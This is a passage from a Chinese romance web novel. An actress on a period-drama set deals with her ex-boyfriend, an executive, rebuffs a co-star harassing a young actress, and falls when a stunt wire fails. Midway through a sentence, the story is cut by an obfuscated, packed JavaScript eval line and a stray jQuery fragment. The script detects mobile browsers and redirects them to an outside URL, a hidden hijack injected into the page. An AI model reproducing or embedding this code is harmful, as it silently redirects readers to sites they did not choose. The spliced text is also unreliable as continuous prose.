越是平淡的语气,就越有杀伤力这话果然不假。
他的话音一落,赵导的眼神又深了几分。
南意装作没注意到,硬着头皮接过AirPods,手指不小心触碰到庄俞钦宽大的掌心。
体温比她记忆里的要凉很多,害她小幅度地一颤,导致用来道谢的那两个字慢了几拍。
没来得及向赵导澄清事情并非他脑补的那样,庄俞钦先她一步淡声补充道:“第一发现人有事来不了,托我转交给你。”
南意立刻接上:“是周总发现的?”
庄俞钦:“嗯。”
赵导视线在他们身上逡巡,两个人都生分疏离,看着不像有旧情,他见缝插针地问:“这位周总该不会就是我认识的那位?”
这回南意抢先说:“是星海工作室的周子严周总,前段时间我碰巧和他一起录制综艺,结束后搭了次顺风车,耳机估计就是那时候落在他车里的。”
不像在胡诌,赵导信了七八成。
庄俞钦在这时岔开话题,“赵导,有事想跟你聊几分钟,方便借一步说话吗?”
“当然。”
两个男人并排离开后,南意不动声色地盯住庄俞钦背影看了会,没想明白刚才他为什么要丢出这么容易让人误会的一句话,之后又为什么把皮球踢到周子严那儿。
剧组道化服漂亮归漂亮,布料质地却很粗糙,穿在身上没一会,皮肤就被磨红一大片。
这种程度的不适,南意原本还能忍受,奈何不远处“庄俞钦”的背影自带让人心烦意乱的特效,让她浑身瘙痒的同时,如坐针毡。
药膏在保姆车上,等下午的戏全部结束,南意第一时间朝停车的地方走去,途中经过一条小巷,有对话声传出。
“这是你第一部戏,NG很正常,私底下多练练,总能进步。”
声线听着像不久前被导演训过话的陈潇。
“不过吻戏这种,你自己练也练不出什么名堂,还是得多找同组演员对对戏。”
陈潇又说,“我看你刚才面红耳热的,是不是没谈过恋爱?你要是不介意,我可以给你分享点心得。”
戏里演得乱七八糟的,戏外倒是将纨绔子弟的形象演绎得淋漓尽致。
南意心里一阵好笑,走到墙角,借指示牌挡住自己身体,视线往里眺。
先看到的是陈潇高挺瘦长的身影,此刻正像一堵墙,严严实实地堵在一女生面前,从她身上的道化服看,像隔壁剧组的。
《蝴蝶里》补拍决定通过时,陈潇已经入了其他组,凑巧也是一部民国戏。
考虑到事出有因,两个剧组又属同一家制片公司,经过协商,同意陈潇轧戏。
这样看来,被陈潇骚扰的女生多半就是隔壁剧组跟他有对手戏的女主角。
陈潇的头压得很低,唇快要贴到对方脸上。
南意调整角度,勉强捕捉到女生无措不安的神态,糟心事涌上大脑。
在圈子里待了这么多年,红过,也被雪藏过,南意早就学会明哲保身那一套,更何况,这种闲事并不是现在落魄的她能管、该管的。
偏偏在她转身前,余光瞥见头顶灯柱上忽明忽暗的橙色光束,一只飞蛾扇动翅膀,不要命地扑向光源,支棱两下,摔碎在她脚边。
真是笨死了。
南意唉声叹气,拿起手机给向锦发去消息:【姐,我可能又要惹事了/心虚.jpg】
向锦回了个微笑的表情:【二十字内,把你要惹的麻烦交待清楚。】
南意掰着手指头数:【陈潇性骚扰同剧组女演员,我准备给他一拳。】
向锦:【给他两拳吧。】
向锦:【出了事我兜着。】
南意嘴上应了声“好嘞”,实际上不敢真动手,最多耍耍嘴皮子功夫,不然真会给向锦招来数不清的麻烦。
“陈潇?”南意拿捏好诧异的语气叫了声。
陈潇一顿,侧过身前,脸上先堆好标准的爱豆笑容,“南意姐,真巧啊,您这是在散步?”
南意现在的咖位比不上他,但好歹有个影后头衔加持,又有前辈的资历摆在那,道声“姐”才是合适的。
“不巧,我就是来找你对戏的,”南意无视女生求救的眼神,笑说,“片场没找到你,自己就瞎逛了会,没想到你在这。”
“您想找我对哪场戏?”
“你和我撕破脸那场,我不是要甩你一个巴掌吗?但我没拍过这种戏,赵导又不喜欢借位,只能私底下找你练习几次,看哪种角度拍起来好过,又能把你受到的伤害降到最低。”
陈潇听出来了,这是想拿他的脸磨练她的演技。
他笑容凝固一霎,没找到合理的推脱说辞,听见对方改口道:“你要是不乐意也行的,毕竟你靠脸吃饭,我能理解,或者你可以用你的脸轻轻打我的手,只要我们配合得当,不在镜头面前穿帮就行了。”
陈潇这下表情是彻底僵住了,对面的神色看着又不像是在开玩笑,为了保全自己的皮相,胡乱找了个借口溜之大吉。
空气一下子安静下来。
南意没有要和女生打招呼的意思,踩着剧组提供的细高跟,朝原定路线走去。
距离下场通告开始还有一个半小时,南意决定上好药后补一觉。
提前设置好的闹铃没响,疗养院的电话先打来,告诉她她母亲季楹情况不太好,希望她能抽时间过去看看。
南意意识还没从睡梦中回来,含糊应了声,车门打开,冷风灌进来,灌得她鼻腔生疼。
她屏住呼吸,闭了闭眼,远远看见一道颀长身影,被满天白雾包裹,像走在一场永无尽头的白日梦里。
等她再次闭眼、睁眼,那人又消失了。
她大脑瞬间清醒,等小琦从酒店回来,交代她替自己去趟疗养院。
晚上八点,剧组重新开工,南意提前半小时抵达片场同对戏演员商讨走位。
巴掌戏也在今晚的拍摄计划里,就在南意犹豫要不要在掌心黏些铆钉装饰品,赵导把她叫过去讲了段戏,还没等她消化完,庄俞钦大步流星地走了过来,在赵导身侧的小马扎上坐下。
他安安静静的,存在感却极强,南意忍不住朝他看去,这一瞥,恰好被他逮住。
这次他依旧很快别开视线,看着赵导问:“我影响到你们了?”
赵导:“哪里的话。”
南意:“没有。”
两个人齐齐开口,南意越品越觉得自己那句有种欲盖弥彰的嫌疑。
好在庄俞钦的出现并没有影响她入戏,连着几声“过”后,迎来今晚的第一场重头戏。
为了不拖延拍摄进度,她没假装自己不在状态,好趁机多甩陈潇几巴掌,而是凭借稳定的发挥,再次得到一条过的结果。
变故出现在另一个人那儿。
“再拍一条。”
这声过后,气氛凝滞一霎,几个脑袋齐刷刷看向坐在监视器前的庄俞钦,他云淡风轻地补上:“刚才那段可以拍得更好。”
无人质疑他的提议。
导演一声令下,南意多甩了三次巴掌。
拍摄一中断,有场务立刻拿了个暖手袋过来,南意好久没享受到这么贴心的待遇,一时受宠若惊,下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228431|197575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意识往庄俞钦的方向看了眼。
他已经离开。
预计拍摄时间会延长到半夜三点,九点刚过,剧组批量购入的咖啡送到。
咖啡是昨天下午就订好的,庄俞钦来得突然,事先没准备他那份,加上今天一整天事都很多,工作人员忘记补上。
见实习生一脸犯难,统筹凑过来问出什么事了。
“少了庄总那杯,我这就去再叫一杯。”
影视城地段偏僻,最近一家拿得出手的咖啡店在七公里外,兜兜转转送到估计也是一小时后的事。
统筹经过权衡,压低音量嘱咐:“你看着匀杯出来,先送给庄总,没拿到咖啡的人,到时候我亲自去跟他解释。”
实习生挑了杯最贵的芝士红茶拿铁,正要送过去,南意笑着拦下他,“庄总不喝风味拿铁,把我这杯黑咖给他吧。”
她说得斩钉截铁,极具信服力,实习生没有多想,接过的同时道了声谢,等咖啡送到房车上,脑子里迟钝地冒出一个问题:庄总的喜好,她是从何得知的?
庄俞钦原本不打算喝这杯黑咖,视线透过敞开的袋口,看见里面南意不小心掉落的发绳,稍顿,“这杯原来是给谁的?”
他的眼神压迫感十足,实习生没扛住压力,实话实说:“是南意老师。”
庄俞钦嗯一声,“我知道了。”
实习生走后,车门还敞着,庄俞钦压低身子,潮水般的眼神向外蔓延开。
那会南意正背对着他。
微卷的长发在风中飞舞,漾起扭曲的弧度,像盘踞在藤蔓上有着精致纹理的毒蛇,吐着猩红的信子缓慢蠕动,迷人又危险。
在这样的背影和姿态里,找不出一点所有人都在怀念的春淇的影子。
庄俞钦合上车门,给林聪发去消息,要他开车去买杯黑咖。
林聪效率很高,不到半小时,这杯咖啡就被他送到庄俞钦面前,庄俞钦同样找回那位实习生,额外交代了句:“别跟她说是我让你送的。”
实习生没明白。
“要是知道是我特意让人买来补给她的,她可能会有负担,推脱不喝。”
妥帖的说辞、公事公办的语气,搭配淡然的神情,堪称天衣无缝,实习生信以为真,送咖啡的路上,自己杜撰了个能把庄俞钦摘得干干净净的理由,只是在对上南意那双漂亮的干净时,谎言不攻自破。
没完成好领导交代的任务,他有些不敢面对庄俞钦,但还是鼓起勇气把见到南意后的情况照实说明了遍。
庄俞钦顿了两秒,“你说她喝了?”
-
南意当然要喝。
韩国的空气里有酵母,这儿的空气里有安眠药,傍晚那觉算白睡了,这会眼皮越来越耷。
等待拍摄的那段时间里,她连着打了十来个哈切,呼出的浊气把坚决不喝前男友送的咖啡这种骨气一并排了出去。
高浓度的咖啡提神效果显著,半杯下去,她感觉大脑里的雾气被驱散大半,人也有劲了。
当晚最后一场戏拍的是南意从三层洋房掉落的场景。
类似的戏南意拍过几回,早就驾轻就熟,还没跌落到防护垫上,脑袋里已经预设出导演需要的凄美姿势。
她的身体缓慢被威亚吊起,绳索勒得有些紧,导致她呼吸不太顺畅。
完全腾空的下一秒,她感受到短促的重力,像游乐园旋转木马启动时会出现的顿感。
这威亚不对劲。
不好的预感很快应验,即将坠落的瞬间,她在脑子里幻想出了庄俞钦的身影,凭借本能,脱口而出求救般的一声:“俞钦!”